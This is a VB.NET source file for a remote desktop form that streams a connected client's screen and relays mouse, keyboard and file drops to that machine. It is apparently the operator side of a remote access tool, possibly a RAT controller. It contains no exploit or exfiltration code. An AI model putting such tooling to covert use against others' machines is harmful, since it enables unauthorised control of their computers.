256 lines
11 KiB
VB.net
256 lines
11 KiB
VB.net
Imports System.ComponentModel
|
|
Imports System.IO
|
|
Imports System.Threading
|
|
Public Class RemoteDesktop
|
|
|
|
Public C As Client
|
|
Public CID As String
|
|
Public Sz As Size
|
|
Public op As New Point(1, 1)
|
|
|
|
Public FPS As Integer = 0
|
|
Public sw As Stopwatch = Stopwatch.StartNew()
|
|
Private Sub RemoteDesktop_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel
|
|
_keysPressed = New List(Of Keys)()
|
|
PictureBox1.AllowDrop = True
|
|
Try
|
|
Timer2.Start()
|
|
Guna2GradientButton1.PerformClick()
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub MyMouseWheel(sender As Object, e As MouseEventArgs)
|
|
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim flag2 As Boolean = e.Delta < 0
|
|
If flag2 Then
|
|
Dim B As Byte() = SB("ScrollDown")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Else
|
|
Dim B As Byte() = SB("ScrollUp")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RemoteDesktop_Closing(sender As Object, e As CancelEventArgs) Handles Me.Closing
|
|
Guna2GradientButton1.Text = "OFF"
|
|
End Sub
|
|
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
|
Try
|
|
If Not C.IsConnected Then
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
|
|
Try
|
|
ToolStripStatusLabel1.Text = "Size :" & PictureBox1.Width.ToString & "x" & PictureBox1.Height.ToString
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_Click(sender As Object, e As EventArgs) Handles PictureBox1.Click
|
|
PictureBox1.Focus()
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp
|
|
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
|
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim PP = New Point(e.X * (Sz.Width / PictureBox1.Width), e.Y * (Sz.Height / PictureBox1.Height))
|
|
Dim but As Integer
|
|
If e.Button = Windows.Forms.MouseButtons.Left Then
|
|
but = 4
|
|
End If
|
|
If e.Button = Windows.Forms.MouseButtons.Right Then
|
|
but = 16
|
|
End If
|
|
|
|
Dim B As Byte() = SB("Click" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y & SettingsHelper.SPL & but)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
End If
|
|
End If
|
|
End Sub
|
|
Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove
|
|
If ToolStripStatusLabel2.ForeColor = Color.Green And ToolStripStatusLabel6.ForeColor = Color.Green Then
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim PP = New Point(e.X * (Sz.Width / PictureBox1.Width), e.Y * (Sz.Height / PictureBox1.Height))
|
|
If PP <> op Then
|
|
op = PP
|
|
End If
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
|
|
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
Dim PP = New Point(e.X * (Sz.Width / PictureBox1.Width), e.Y * (Sz.Height / PictureBox1.Height))
|
|
Dim but As Integer
|
|
If e.Button = Windows.Forms.MouseButtons.Left Then
|
|
but = 2
|
|
End If
|
|
If e.Button = Windows.Forms.MouseButtons.Right Then
|
|
but = 8
|
|
End If
|
|
|
|
|
|
Dim B As Byte() = SB("Click" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y & SettingsHelper.SPL & but)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
End If
|
|
End If
|
|
End Sub
|
|
Private Sub ToolStripStatusLabel2_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel2.Click
|
|
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
|
ToolStripStatusLabel2.ForeColor = Color.Black
|
|
ToolStripStatusLabel6.ForeColor = Color.Black
|
|
Else
|
|
ToolStripStatusLabel2.ForeColor = Color.Green
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ToolStripStatusLabel3_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel3.Click
|
|
If ToolStripStatusLabel3.ForeColor = Color.Green Then
|
|
ToolStripStatusLabel3.ForeColor = Color.Black
|
|
Else
|
|
PictureBox1.Focus()
|
|
ToolStripStatusLabel3.ForeColor = Color.Green
|
|
End If
|
|
End Sub
|
|
Private Function IsLockKey(ByVal key As Keys) As Boolean
|
|
Return ((key And Keys.CapsLock) = Keys.CapsLock) OrElse ((key And Keys.NumLock) = Keys.NumLock) OrElse ((key And Keys.Scroll) = Keys.Scroll)
|
|
End Function
|
|
|
|
|
|
Private Sub PictureBox1_KeyUp(sender As Object, e As KeyEventArgs) Handles PictureBox1.KeyUp
|
|
If ToolStripStatusLabel3.ForeColor = Color.Green Then
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
If Not IsLockKey(e.KeyCode) Then e.Handled = True
|
|
_keysPressed.Remove(e.KeyCode)
|
|
|
|
|
|
Dim B As Byte() = SB("Key" & SettingsHelper.SPL & e.KeyCode & SettingsHelper.SPL & "False")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles PictureBox1.KeyDown
|
|
If ToolStripStatusLabel3.ForeColor = Color.Green Then
|
|
If Guna2GradientButton1.Text = "Capturing..." Then
|
|
If Not IsLockKey(e.KeyCode) Then e.Handled = True
|
|
If _keysPressed.Contains(e.KeyCode) Then Return
|
|
_keysPressed.Add(e.KeyCode)
|
|
|
|
|
|
Dim B As Byte() = SB("Key" & SettingsHelper.SPL & e.KeyCode & SettingsHelper.SPL & "True")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
End If
|
|
End If
|
|
End Sub
|
|
Public _keysPressed As New List(Of Keys)
|
|
|
|
Private Sub ToolStripStatusLabel4_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel4.Click
|
|
If ToolStripStatusLabel4.ForeColor = Color.Green Then
|
|
ToolStripStatusLabel4.ForeColor = Color.Black
|
|
Else
|
|
Try
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "Monitor")
|
|
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
|
|
Process.Start(fullPath)
|
|
ToolStripStatusLabel4.ForeColor = Color.Green
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RemoteDesktop_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
|
Dim B As Byte() = SB("CloseScreen")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub ToolStripStatusLabel5_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel5.Click
|
|
If ToolStripStatusLabel5.ForeColor = Color.Green Then
|
|
ToolStripStatusLabel5.ForeColor = Color.Black
|
|
|
|
ToolStripStatusLabel2.Visible = True
|
|
ToolStripStatusLabel6.Visible = True
|
|
|
|
ToolStripStatusLabel3.Visible = True
|
|
|
|
Else
|
|
ToolStripStatusLabel5.ForeColor = Color.Green
|
|
ToolStripStatusLabel2.ForeColor = Color.Black
|
|
ToolStripStatusLabel6.ForeColor = Color.Black
|
|
|
|
ToolStripStatusLabel3.ForeColor = Color.Black
|
|
|
|
ToolStripStatusLabel2.Visible = False
|
|
ToolStripStatusLabel6.Visible = False
|
|
|
|
ToolStripStatusLabel3.Visible = False
|
|
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_DragEnter(sender As Object, e As DragEventArgs) Handles PictureBox1.DragEnter
|
|
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
|
e.Effect = DragDropEffects.Copy
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_DragDrop(sender As Object, e As DragEventArgs) Handles PictureBox1.DragDrop
|
|
Dim files() As String = e.Data.GetData(DataFormats.FileDrop)
|
|
For Each path In files
|
|
If IO.File.Exists(path) Then
|
|
Dim B As Byte() = SB("DeskDrop" & SettingsHelper.SPL & IO.Path.GetFileName(path) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(path))))
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End If
|
|
Next
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
|
If Guna2GradientButton1.Text = "OFF" Then
|
|
Guna2GradientButton1.Text = "Capturing..."
|
|
Guna2GradientButton1.Image = My.Resources._Stop
|
|
|
|
|
|
Dim B As Byte() = SB("RD+" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & Guna2ComboBox2.SelectedIndex.ToString)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
Else
|
|
Guna2GradientButton1.Text = "OFF"
|
|
Guna2GradientButton1.Image = My.Resources.Play
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ToolStripStatusLabel6_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel6.Click
|
|
If ToolStripStatusLabel6.ForeColor = Color.Green Then
|
|
ToolStripStatusLabel6.ForeColor = Color.Black
|
|
Else
|
|
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
|
ToolStripStatusLabel6.ForeColor = Color.Green
|
|
End If
|
|
End If
|
|
End Sub
|
|
End Class |